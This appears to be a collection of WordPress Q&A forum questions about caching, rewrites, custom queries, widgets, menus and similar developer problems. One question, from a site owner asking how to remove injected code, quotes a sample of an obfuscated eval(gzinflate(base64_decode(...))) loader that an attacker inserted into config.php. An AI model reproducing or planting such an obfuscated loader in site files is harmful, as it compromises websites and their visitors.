text: What I did (on my EC2 instance): a) Followed Amazon's instructions here to install their special PHP Memcached Extension for ElastiCache. b) Confirmed it was installed and restarted apache               $ php -i | grep memcached     /etc/php5/cli/conf.d/memcached.ini,     memcached     memcached support => enabled     libmemcached version => 1.0.4     memcached.compression_factor => 1.3 => 1.3     memcached.compression_threshold => 2000 => 2000     memcached.compression_type => fastlz => fastlz     memcached.serializer => php => php     memcached.sess_binary => 0 => 0     memcached.sess_consistent_hash => 0 => 0     memcached.sess_lock_wait => 150000 => 150000     memcached.sess_locking => 1 => 1     memcached.sess_number_of_replicas => 0 => 0     memcached.sess_prefix => memc.sess.key. => memc.sess.key.     memcached.sess_randomize_replica_read => 0 => 0     Registered save handlers => files user memcached      c) Confirmed I could send and retrieve objects using the script here (I could). d) Updated `wp-content/w3tc-config/master.php` with the full address and port of my ElastiCache instance wherever it was pointing to `127.0.0.1:11211`. e) Tried and failed to figure out why I still can't select Memcached from the w3tc dropdown.


title: Rewriting URL does not automatically log me in

text: I've installed my blog at `www.mysite.com/blog` I want to re-write the URL to take out the `blog` part so you can access it at `www.mysite.com` I added a rewrite rule in `.htaccess` file, but I noticed that when I go to the rewritten URL, I am not logged into my account; I would have to go through the original `/blog` to be logged in. What is the problem here and how can I solve it?


title: What is the best way to hook a rewrite function for certain php code when plugins are updated?

text: I often times make a bunch of customizations on plugins I install from the WP repository. Typically the reason I find myself preforming these edits is to fix, rewrite or delete certain functions a plugin might be preforming such as:   * the plugin is automatically inserting a new menu/sub-menus in an undesirable location which I prefer to have standardized in accordance with my organization.   * I simply want to remove, edit or replace text or functions for things such as help links/pages, redundant donation buttons or annoying upgrade promotion dialog boxes. In end effect the edits I end up preforming are totally unique to each individual plugin and/or its files. The problem I constantly run into is keeping up to-date with the latest version while manually updating the code for each plugin. I believe the typical way users deal with this problem is by writing a function which takes priority over the plugins function (correct?). I can understand this approach working fine when the plugin/function I want to edit is simple but some of these plugins are very complex in nature and it seems this might not be the best approach. What I am really hoping for is a clean method to be able to automatically execute a type of regex "find and replace" on the plugins new source code/files prior to the plugin being updated. I understand this method is in no way bulletproof and plugins/code is always changing however some type of function like this would be very helpful... any suggestions?


title: Exclude sticky posts from query

text: I used `orderby=date` and `orderby=comment_count` to show my recent post and popular post, but sticky post is always there on the top. How can exclude sticky posts?


title: 3 Column Loop with Pagination

text:
I tried to run a loop and split post in 3 columns and then added pagination using Wp PageNavi wordpress plugin. It was working fine from where i copied this code but it seems to be not working for me. can somebody figure it out what i miss which is causing problem ?
           <?php $data = query_posts( array( 'posts_per_page' => 7, 'paged' => get_query_var('paged') ) ); ?>           <?php for($i=0; i<=1; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 1)break; }else{ break; } endfor; ?>

           <?php for($i=2; i<=3; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 3)break; }else{break;} endfor; ?>

           <?php for($i=4; i<=6; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 6)break; }else{break;} endfor; ?>
            <?php wp_pagenavi(); ?>


title: Why I obtain this error message when I try to click on the author name of a post in my theme?

text:
I am pretty new in WordPress theme development and I am experiencing a strange behavior in this custom theme that I am developing: http://onofri.org/WP_BootStrap/ As you can see in the blog are shown 2 posts and at the beginning of each post is print the **author name** (in this case **admin** ). Now if you print on this **author name** (on the "By **admin** " link) you can see al the posts that have been written by **admin** user, ok this is correct behavior The problem is that if I try to do the same operation on my local version of the website (the theme is exactly the same) I obtain the following error message: > notice: Undefined variable: authordata in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Trying to get property of non-object in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Undefined variable: authordata in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Trying to get property of non-object in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: get_author_link is **deprecated** since version 2.1! Use > get_author_posts_url%28%29 instead. in /var/www/wordpress/wp- > includes/functions.php on line 2908 This is the code of my **content.php** file:               /**      * The default template for displaying content      *      * Used for both single and index/archive/search.      *      * @package WordPress      * @subpackage AsperTheme      * @since AsperTheme 1.0      */     ?>                    <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
                     <a href="<?php the_permalink(); ?>"                         title="<?php printf(__('Permalink to %s', 'your-theme'), the_title_attribute('echo=0')); ?>"                        rel="bookmark"><?php the_title(); ?>

                 <?php _e('By ', 'your-theme'); ?>                                      <a class="url fn n" href="<?php echo get_author_link(false, $authordata -> ID, $authordata -> user_nicename); ?>"                                          title="<?php printf(__('View all posts by %s', 'your-theme'), $authordata -> display_name); ?>"><?php the_author(); ?>                                                        |                  <?php _e('Published ', 'your-theme'); ?>                                      <abbr class="published" title="<?php the_time('Y-m-d\TH:i:sO') ?>"><?php the_time(get_option('date_format')); ?>                                  <?php edit_post_link( __( 'Edit', 'your-theme' ), "|\n\t\t\t\t\t\t", "\n\t\t\t\t\t" ) ?>

                 <?php the_content(__('Continue reading »', 'your-theme')); ?>             <?php wp_link_pages('before=
' . __( 'Pages:', 'your-theme' ) . '&after=
') ?>

                              <?php _e('Posted in ', 'your-theme'); ?>                 <?php echo get_the_category_list(', '); ?>                           |              <?php the_tags( '' . __('Tagged ', 'your-theme' ) . '', ", ", "\n\t\t\t\t\t\t|\n" ) ?>                 <?php comments_popup_link( __( 'Leave a comment', 'your-theme' ), __( '1 Comment', 'your-theme' ), __( '% Comments', 'your-theme' ) ) ?>                 <?php edit_post_link( __( 'Edit', 'your-theme' ), "|\n\t\t\t\t\t\t", "\n\t\t\t\t\t\n" ) ?>

        Why? what could be the problem?


title: How can I check a new comment reply in realtime and get the reply text for a notification system in wordpress?

text: I would like to, when you get a reply for your comment, you get little box, in right side, something like this with the reply text.   The notificator must be work in real time, and must be, get the user profile picture, if him have it (the profile picture come from gravatar.com).   If user dosen't have profile picture, the script get the "mystery man" default user picture.   The question is how can I solve this?   I searced for google, but I always get "comment reply link" which doesen't help me.   My site is this.


title: Get Wordpress current date/time

text:
In my plugin, I am trying to get the current date/time of the blog into the code but it seems to be returning a odd date/time. If i put a new post on the blog it does show the correct date/time so I am not sure what the issue is. Am I handling the code incorrectly? (Post Time: Published on: Feb 13, 2012 @ 22:45) ## PHP Code               <?     $t_time = get_the_time( __( 'Y/m/d g:i:s A' ) );     echo "
BLOG TIME
";     echo $t_time . "
";     echo "
";     echo "
SERVER TIME
";     echo date("Y/m/d g:i:s A");     ?>      OUTPUT BLOG TIME 2011/05/20 10:28:16 PM SERVER TIME 2012/02/14 5:41:35 AM


title: custom fields multiple image fields

text: i am building an artist's archive with WP to host a variety of entries (custom post types such as "photographs", "artworks", "publications" and etc.). due to the large quantity of data, i am uploading images manually to their correct paths, and uploading the data with a CSV importer. generally for each entry there is only one featured image, and it is pretty clear and straightforward. but for the publications, i am a bit stuck because the client would like to show excerpts of these books, and sometimes even the whole book (if it is a short booklet for example). ideally i was thinking about adding a repeatable field for an image upload, but im not sure that is the best approach. another idea was to create a post select that would contain the post id of the "next page". i am trying to avoid creating PDFs (because there would be 1,000+ pdfs of 3-5 pages), but maybe that could be another strategy - to have a single entry for each book and a pdf with the excerpted pages. the disadvantage of the pdf is that it is not so flexible an approach, maybe it could work okay for a book, but there are also artworks that have alternate views etc. so the pdf would be an awkward solution at its best. somehow in my mind, i think it would be good to have all of this information together in the same post, but maybe there are better ways to do this. the biggest limitation is finding a way that would work well with the CSV approach, and not something that would have to be manually entered. has anyone tried using repeatable fields and uploading CSV?? how would that even work? have any of you had to do something like this? any ideas? thanks!!


title: JQuery plugin that works with Google 1.10.2 and not with Wordpress 1.10.2

text: I'm making a custom implementation of JQuery Colorbox in a Wordpress plugin. However, it's not working with my default Wordpress installation. After tinkering a bit, it comes down to the inclusion of the JQuery library. Neither of these lines work: `<script src='http://xpisobsolete.com/wp- includes/js/jquery/jquery.js?ver=1.10.2'></script>` `<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` But either one of these do: `<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` `<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` I've tested that JQuery works with all of the above by using:               if (typeof jQuery != 'undefined') {              alert("jQuery library is loaded!");          }else{              alert("jQuery library is not found!");          }      It passes on all four of the script links I've tried. If I change that one line on Jack's demo page, it breaks as well. Is this a colorbox issue? http://www.jacklmoore.com/colorbox/example1/ Could you guys help me see what I'm missing here? I'm stumped.


title: why to use query_posts() in custom page?

text: Hi i am new in wordpress and want to know about `query_posts()` function. If there is index page or home page than there is no need this function to display post but if i made custom page than there this function must used to display. Why?


title: Randomly select one of last 3 posts

text: ok so i have this:                   $args=array(                 'orderby' => 'rand',                 'order'    => 'DESC',                 'posts_per_page' => 1,                 'offset' => $offset,         );     $q = new WP_Query($args);     if ($q->have_posts()) {}      what im looking for is to Randomly show one of the last 3 posts:               SELECT * FROM      (SELECT * FROM `wp_posts` WHERE `post_type` = 'post' ORDER BY post_date DESC LIMIT 3)      AS temptable ORDER BY RAND() LIMIT 1


title: Connect Users and Taxonomies

text: I'd like to send email notifications when new posts are saved. But users can select post categories they want to subscribe to. Available plugins are no solution to me – I really need my own code base. Even though I am fairly new to WP there is no problem with all that … but I don't know how to connect custom taxonomies to users. Is it possible to list all categories on the user profile page (checkboxes) and save theme in the usermeta table? Or do you mean it is better to put all the subscriptions into a new table and use a third pivot table to connect taxonomies and users? Or another solution? Any ideas are appreciated :-) Many thanks!


title: Display DISQUS on homepage

text: I have installed disqus and I want it to show up on my homepage. It replaced the old wordpress comments system on pages and posts but I also want it to appear on index.php my index.php file now - > http://i.imgur.com/TxaroMC.png I added <`?php comments_template(); ?>` but nothing happend. What should I do ? I want to put it at the bottom of my website Thanks


title: Remove hacked code - out of ideas!

text: I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this intro. I've removed it several times, changed the FTP password, admin password and username, the SALTs and checked the .htaccess - beyond that I'm stuck. Any idea how to solve this? Part of the code, the middle cut down a lot;               eval(gzinflate(base64_decode('pRn9c9o49ufczP0PKuPGuHHAGAihiZN2U7q7M9dtj6Y3c5OkjLBl8GJsr2wINM7/fu9J8kcI2dub67RI1vvU+5KeGvik+cwloQZZf1zzedt1ZZlcpyBPJMvX2pG1Dprepar9axCdwIH0gE+bythF4QS5moVpGq9H/ZZomjWCjjmNihq1vs40FxskklHEdv6/jmX36VOulSG/Bj9Z9GL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAiXZR/ovb0UMgrDAs8IXtyOPNwPy2Yyf9vqj027LHnfzEoKLIbhMjdKE6juoGrE7goKguDPBX4+B8=')));


title: post pagination names, not numbers

text: currently, using `<!--nextpage-->` on a post pulls just numbers. What I would like is to be able to name each page break, and then call the name instead of just a number. Something like: `<!--nextpage: Introduction-->` I'm not talking about url renaming, just names to be used for the page links. Can anyone help?


title: How to get The Loop working with $wpdb->get_results()

text: I am doing a rather complicated custom query on a blog's front page, and trying to show the results using The Loop as shown here: Displaying posts using a custom SELECT query The query filters posts by a custom field that contains a date (show only posts where that field is set to today or later), and orders them by that date. The query returns the correct posts, but if I turn them over to The Loop, the results are shown as if I were doing a regular query, not the specialized one (i.e. the wrong posts show up). The people in this forum thread have the same problem; I utilized the $GLOBALS workaround shown there, but to no avail.                 global $post;       global $wpdb;           $querystr = "SELECT wposts.* FROM $wpdb->posts wposts ...... some conditions and joins";      $eventsPosts = $wpdb->get_results($querystr, OBJECT);           print_r($eventsPosts); // shows CORRECT data                 if ($wpdb->num_rows > 0)       foreach ($eventsPosts as $post)         {              /* workaround */         $stored_post = clone $GLOBALS['post']; // Why, Wordpress, why?         $GLOBALS['post'] = $post;              // Why are you making me do such terrible things?              setup_postdata($post);         the_post();         the_title(); // shows INCORRECT post              /* workaround: Restore global */         $GLOBALS['post'] = clone $stored_post;             }      however, this output gives me the result as if I had done a regular query, not my special one. Ie, `the_title()` outputs the title of a post that isn't in the query result. If I test output the custom query result:               print_r($eventsPosts);      I get the _correct_ posts. Only when I use Loop functions, the wrong results are output. Is there a canonical, correct way of doing this that works?


title: Plugin to automatically change anchor text of urls to the destinations title?

text: Say I link to http://www.glumbo.com on one of my posts. I want wordpress to automatically change the anchor text of the link to glumbo.com's title. How can I do this?


title: simple fields plugin custom query

text: I have a collection of posts for families. I'm using the simple fields plugin for handle members of the family. Is there a simple way to query posts based on values from the custom fields created by the simple fields plugin. I see the meta keys in the admin:               _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_0          _simple_fields_fieldGroupID_6_fieldID_1_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_1      where fieldID_1 is a dropdown for year (1950-2010),   fieldID_2 is a dropdown for gender (male or female)   fieldID_3 is a textfield for name How would I query to get all posts where gender is 'male' and ordered by year? Thanks! **EDIT** There are numInSet_N values. Some might have 0, others 10 or more. The simple fields plugin creates generic values for each key. For example, _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0 is a dropdown for year and has the following key values:               dropdown_num_2     dropdown_num_3     dropdown_num_4     ...     dropdown_num_62      Where dropdown_num_2 is actually 1950, dropdown_num_3 is 1951 and so forth. The same is true for the gender dropdown, _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0, which has the following key values:               dropdown_num_2     dropdown_num_3      Where dropdown_num_2 is actually 'male', dropdown_num_3 is 'female'. So the query to get all posts where gender is 'male' and ordered by year would need to check _simple_fields_fieldGroupID_6_fieldID_2_numInSet_N == 'dropdown_num_2' and ORDER BY the year of all matched posts.


title: Using $wpdb object in a widget

text:
I'm trying to make a very simple widget that access tables contained within the same database instance as my Wordpress database, but are not wordpress tables. I'm using the wpdb class according to the codex. I'm not getting any errors, but I'm also not getting any results. Am I using the object appropriately? Or should I be rolling my own access class for my own tables? Here is the widget code:               function widget ($args,$instance)      {             extract($args);                  global $wpdb;                  $title = $instance['title'];             $catid = $instance['catid'];                  $current_user = wp_get_current_user();                  $sql = 'SELECT max(ID) as MaxID, status FROM Clients WHERE UserID = '.$current_user->ID;             $clientRow = $wpdb->get_results($sql);                  $out = '
';             $out .= 'Client status: '.$clientRow->status.'
';                  echo $before_widget;             echo $before_title.$title.$after_title;             echo $out;             echo $after_widget;     }      Thanks in advance.


title: Post_type doesn't work for widgets?

text:
I've found almost the same question: http://stackoverflow.com/questions/4796165/multiple-loops-in-wordpress-second- loop-not-resetting but the answer doesn't work for me. I have "portfolio" post type, and I'm working on widget displaying all portfolio items. This code works perfectly on page-portfolio:               $loop = new WP_Query( array(              'post_type' => 'portfolio',                'posts_per_page' => 5 ) );          <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>               (...)     <?endwhile?>      But when I implement this in my widgets - the "post_type" field doesn't seem to work. No matter what I type as post type - it always displays POSTS instead of PORTFOLIO ITEMS. Even if the post type doesn't even exist (and as we all know it should display nothing if there's no such post type!). I believe the problem is aside from my widget there's blog section (loop from loop.php, no code to show, because there's just only "while ( have_posts() ) : the_post();") [edit] I may be wrong, deleted every line of code from loop.php and my widget still shows posts. Any ideas how to fix that? [edit #2] Ok, so my site looks just like every normal Wordpress blog:               header.php     loop.php > widget area     footer.php      There is almost no PHP code in header and footer (at least no loops etc.). The loop.php is also I'd say normal:                <?php if ( ! have_posts() ) : ?>          (...)         <?php endif; ?>               <?php while ( have_posts() ) : the_post(); ?>          (...)         <?php endwhile; ?>        In fact the widget is ALSO not very unique:               function myWidgetName_load_widgets() {         register_widget( 'myWidgetName' );     }          class myWidgetName extends WP_Widget {              function myWidgetName() {     (...)     }          function widget( $args, $instance ) {             extract( $args );             $title = apply_filters('widget_title', $instance['title'] );             $number = $instance['number'];                  echo $before_widget;             if ( $title )                 echo $before_title . $title . $after_title;             if ( $number )         echo "
"; ?>                       <?php           $loopWithSuperUniqueName = new WP_Query( array(              'post_type' => 'anything', /* and this doesn't work */                'posts_per_page' => 15 ) );         ?>               <?php while ( $loopWithSuperUniqueName->have_posts() ) : $loopWithSuperUniqueName->the_post(); ?>
<?php the_title(); ?>
 /* it always displays POSTS even if 'post_type' => 'alalaaolbadiobladaWhathever' */          <?php endwhile; ?>                               <?php echo "
"; ?>              <?php             echo $after_widget;         }          function update( $new_instance, $old_instance ) {     (...)     }           function form( $instance ) {       (...)     }          etc.      The widget's code is OK, because I've developed a few similar widgets and they WORK. I'm starting to think there's something wrong with Wordpress, not my code.


title: Multisite, with virtual root

text: I have a multisite network with define('DOMAIN_CURRENT_SITE', 'fruit.shop.com'); So that the "Network Admin" is on fruit.shop.com, but still be able to add sub-domains from the 2nd level domain. I'd like to use this to create blogs at locations like apple.shop.com orange.shop.com pineapple.shop.com And shop.com point to some other server entirely. How do I do this?


title: how to hide submenus for the not active pages

text: I would like to expand only the active part of the sidebar menu and hide the parts which have nothing to do with the actual selection. Just like how its done on every Explorer like file manager, or how it is with accordion menus. In the default TwentyTen theme, this is the class definition for the active submenu:               menu-item menu-item-type-post_type menu-item-object-page current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor      and this is the one for a non-active submenu:               menu-item menu-item-type-post_type menu-item-object-page      So I'm thinking about using something like:               li .menu-item ul .sub-menu { display: none; }     li .current-menu-parent ul .sub-menu { display: inherit; }      Would something like this work? It must be a fairly common problem, but I have not found a single solution with Google. To have an idea why it’s important to make the menu smaller, here is the site I'm working on where the menu is overly complicated: http://kek.org.hu/kozossegikertek


title: echo do_shortcode is not working on theme's template

text:
I don't know whats causing the problem but the `echo do_shortcode` is not working on my theme's template, but its working on my plugin's template and the shortcode is working on my posts and pages. Pretty weird. Here's the code               <?php      $my_query = new WP_Query('category_name=video post&posts_per_page=10');     while ($my_query->have_posts()) : $my_query->the_post();     $do_not_duplicate = $post->ID;      ?>

<a href = "<?php the_permalink();?>"><?php the_title();?>
         <?php the_post_thumbnail(); ?>
          <?php the_excerpt();?>         <?php                                                $urlbox = get_video_box();              echo $urlbox[0]; // echo out the url of a post                              echo $urlbox[1]; // echo out the url description of a post         echo do_shortcode('[jwplayer config="Out-of-the-Box" file="' . $urlbox[0] . '" image="http://www.mywebsite.com/myimage.jpg"]');         ?>

          <?php endwhile; ?>        I am using the JW player plugin, again, the shortcode is working on the plugin's template and post/page . but on my theme's template its not working.. please help me here. Thanks


title: Trying to get property of non-object in wp-includes/capabilities.php

text: Once a minute I get the following notice sequence in debug.log:               [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1022     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1022     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026      I disabled all plugins and selected the default Twenty Eleven theme, but still get it. How can I troubleshoot this? I'm using WordPress 3.4.2.


title: How to get data from an array using get_user_meta()

text:
I have created a custom user profile field               <?php $basics = get_the_author_meta( 'fbasics', $user->ID ); ?>

<input value="lesson1" name="fbasics[]" <?php if (is_array($basics)) { if (in_array("lesson1", $basics)) { ?>checked="checked"<?php } }?> type="checkbox" /> <?php _e('Lesson 1', 'gprofile'); ?>

<input value="lesson2" name="fbasics[]" <?php if (is_array($basics)) { if (in_array("lesson2", $basics)) { ?>checked="checked"<?php } }?> type="checkbox" /> <?php _e('Lesson 2', 'gprofile'); ?>

      I now need to use the data on the front end of wordpress to display information. I think I need to use the `get_user_meta()` function but I do not understand how to use is to get the value of an array. How to get data from an array using `get_user_meta()`?


title: Need clarification on how to correctly call wp_mail()

text: I want to call wp_mail() from a non-template php file, but when I do so it fails and I don't understand why. For example, let's say I have a php file that consists of only this:               <?php         echo 'hi';         $mail_sent = wp_mail('example@example.com', 'subject', 'message');         echo $mail_sent;     ?>      If I load that php file directly in my browser, only "hi" will print. If I remove `echo 'hi';` altogether, nothing is printed, which indicates to me that wp_mail() cannot be called in this particular context. However, if I add `/* Template Name: SomeName */` to the file and create a new page using `SomeName` as its template, wp_mail() executes correctly. Clearly, I'm missing some key bit of information regarding how to correctly call wp_mail(). The reason I want to do this is because the theme I'm using came with a contact form that submits email via an ajax request roughly like this:               form.submit(function() {         $j.ajax({             type: 'GET',             url: "http://www.example.com/wp-content/themes/themeX/send_mail.php",             data: form.serialize(),         });     });      Currently, `send_mail.php` calls the php mail() function which "works" but is extremely flaky. I want it to call wp_mail() so I can take advantage of this plugin which sends mail using a smtp server. So my question is: how can I get wp_mail() to work in this situation? Thanks!


title: How to grab data (titles, thumbnails and custom fields) from multiple posts to populate a new array efficiently?

text: I need to know the most efficient method to grab 3 pieces of data from from multiple posts:   * Post title   * Thumbnail   * Custom Field I am attempting to build a Google map of posts using data stored in WP posts. Each post has geo coordinates and a thumbnail. I want to pull the title, geo custom field and thumbnail and use this data to build points of interest on a map. The posts are stored as a custom post type called listings. Here is a demo: http://www.barbadospropertylist.com/map/ Here is my query code:               $args=array( 'showposts' => 45 );     query_posts( $args );      Currently this is failing to query anymore than 45 posts. I have over 400 listings that I would like to query. Not sure why it's failing.


title: TinyMCE strips breaks inside editor

text: the posts are shown correctly in the frontend. But when i go to edit, the content inside tinyMCE is without breaks ?! So i have to copy my content from frontend and paste it to the editor every time i want to edit.. very stupid - i dont know what i've done, maybe it's the plugin "Disable wpautop", but it's deactivated now. When I click on save without my copy&paste workaround, the content is wrap in exactly one paragraph tag in the frontend.. Anyone an idea? (and yep, i am talking about the "visual" mode of tinymce, not the text mode)


title: Limiting Admin Backend Search to Title

text: Does anyone have any suggestions on how to limit the search in the WP admin area to just post titles? It's very frustrating to want to pull up a specific page, and get hundreds of results that have that word in the post content.


title: Multisite Pull Recent Image Attachments from Blog ID

text: I am creating a WordPress network and am looking for a way to pull recent images from the sub blogs, but I am having some trouble doing so. What is the easiest way to make this happen?


title: Get 'Headers already sent' error for the plugin I am creating when I try to login

text:
I am trying to create my first plugin. So far it actually works fine but for one error: I get a 'Headers Already Sent' PHP message when I try to login to wp-admin. If I remove the plugin file from the wpcontent/plugins directory, login as usual, then replace the plugin file it works fine - this just seems to occur with login in and out. My (abridged) code is:               <?php     /*     Plugin Name: Product Manager     Plugin URI: http://www.tech-knowledge.com.au     Description: Add, edit and remove products     Version: 1.0     Author: Me     Author URI: http://www.tech-knowledge.com.au     License: Restricted     */          if ( is_admin() ){     /* Call the html code */     add_action('admin_menu', 'prodmanager_admin_menu');          function prodmanager_admin_menu() {     add_options_page('Product Manager', 'Product Manager', 'administrator',     'product-manager', 'prodmanager_html_page');     }     }          function prodmanager_html_page() {     ?>

Product Manager

     ?>      Let me know if you would like to see it all. Any advice would be really, really appreciated! Thanks!


title: Custom menus not showing

text:
As a follow on from my last unresolved query regarding menus, the problem has extended even further. My menus are not printing anywhere in the code. I am registering the menu functions.php:               add_action( 'after_setup_theme', 'your_newtheme_setup' );          if ( ! function_exists( 'your_newtheme_setup' ) ) :              function your_newtheme_setup() {                  if (function_exists('register_nav_menu')) {                 register_nav_menus(                     array(                         'main-menu' => 'Main Menu',                         'footer-menu' => 'Footer Menu',                         'products-menu' => 'Products Menu',                         'legal-menu' => 'Legal Menu'                 ));             }         }          endif;      I then call the menu in header.php:               wp_nav_menu( array( 'theme_location' => 'main-menu' ) );       This results in nothing being printed! I am also trying to include the menu in the sidebar_footer.php where I have created a widget using the 'Custom Menu' widget and I've created 3 custom menus: footer-menu, products-menu & legal-menu and again, none of the menus are being printed! The widget at least prints the heading of the widget but the menu itself produces nothing! This is clearly an issue with all menus in my theme that I cannot seem to resolve! IMPORTANT NOTE: I have built the main-menu manually using the following code which I found in the wordpress docs:                           $menu_name = 'main-menu';                      if ( ( $locations = get_nav_menu_locations() ) && isset( $locations[ $menu_name ] ) ) {                          $menu = wp_get_nav_menu_object( $locations[ $menu_name ] );                          $menu_items = wp_get_nav_menu_items($menu->term_id);                          $menu_list = '
';                          foreach ( (array) $menu_items as $key => $menu_item ) {                         $title = $menu_item->title;                         $url = $menu_item->url;                         $menu_list .= '
' . $title . '
';                     }                     $menu_list .= '
';                 } else {                     $menu_list = '

No Menu

';                 }                 echo $menu_list;             ?>      ADDITIONAL INFO: I've done some debugging in the function wp_nav_menu() and found that the menu items disappear during this call:               $items = apply_filters( 'wp_nav_menu_items', $items, $args );      in line: 223 (or thereabouts) in the file: nav-menu-template.php


title: Second Custom Post Type Archive

text: I've got an `event` custom post type, and using filters, I've configured the archive page to show only event in the future, and in chronological order based on a meta value (start date). I want to make a second archive page to show events in the past, complete with pagination, ordered reverse chronologically on the same meta value. My first thought is to use a shortcode inside a normal page, but I'm not sure how to get the pagination working. Alternatively, is there a way to create a "generic" archive page? Do I need to get into rewrite rules?


title: Wordpress/Buddypress login theme function

text: Hey i installed buddypress and wanted to know if there is a theme function o can add so that on my theme it says > Login • Sign Up and when they login it says > My Profile • Sign Out


title: is there a way to show the the post title after the image?

text:
Trying to show the post title after the image in the main blog page and single page, I have tried to edit the content.php but unable to achive the result I need, which is basiscally               IMAGE     TITLE     META      CONTENT      I have tried to change the code in content.php but only managed to get the title to show below the image but also below the content               <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>         <?php if ( is_sticky() && is_home() && ! is_paged() ) : ?>
             <?php _e( 'Featured post', 'twentytwelve' ); ?>
         <?php endif; ?>                           <?php the_post_thumbnail(); ?>             <?php if ( is_single() ) : ?>
<?php the_title(); ?>
             <?php else : ?>
                 <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?>
             <?php endif; // is_single() ?>             <?php if ( comments_open() ) : ?>
                     <?php comments_popup_link( '' . __( 'Leave a reply', 'twentytwelve' ) . '', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
             <?php endif; // comments_open() ?>                                         <?php twentytwelve_entry_meta(); ?>             <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '', '' ); ?>             <?php if ( is_singular() && get_the_author_meta( 'description' ) && is_multi_author() ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries. ?>

                         <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentytwelve_author_bio_avatar_size', 68 ) ); ?>

<?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?>

<?php the_author_meta( 'description' ); ?>

                             <a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">                                 <?php printf( __( 'View all posts by %s →', 'twentytwelve' ), get_the_author() ); ?>

             <?php endif; ?>


title: Altering images inserted into Posts for lazyloading with PHP Simple HTML DOM Parser

text:
I want to find a robust solution to make lazyloading possible for images inserted into a post. There are many lazyload solutions out there. I'm not looking to cater any one of them specifically, but rather just a method to edit the dom with PHP without regex. The Simple HTML DOM Parser seems perfect for that, I'm just not sure what I'm doing here. I can find all images and edit the attributes to suit a lazyload script:               // Add the PHP Dom parser     require "assets/simple_html_dom.php";          function add_image_placeholders( $content ) {              $html = str_get_html($content);              // Find all images         foreach($html->find('img') as $element) {                  $img_src     = $element->src;             $placeholder = 'data:image/gif;base64,R0lGODlhAQABAIAAAMLCwgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==';             $img_class   = $element->class . " lazy";             $img_width   = $element->width;             $img_height  = $element->height;             $img_id      = $element->id;             $img_alt     = $element->alt;             $img_title   = $element->title;                  echo '
';         }              return $html;          }          add_filter( 'the_content', 'add_image_placeholders', 99 );      That of course just clumps them in the beginning of the post. I would need to loop the whole content somehow... Here's little bit about how to customise the parsing behavious, but I could't get it work. Thanks.


title: WP Query get posts by specific author IDs if one of several logged in authors

text: I have a custom template page where posts are shown from authors 1,2 and 3.               <?php $the_query = new WP_Query( 'posts_per_page=-5&author=1,2,3' ); ?>      How can I use **get current user** in this so that the posts are only visible to an author with one of those ID's (1,2 or 3) and are logged in? In other words: Author 4 will not see any posts. Authors 1,2,3 will see each others posts if they are currently logged in. Thanks very much in advance-


title: Display post details by post ID

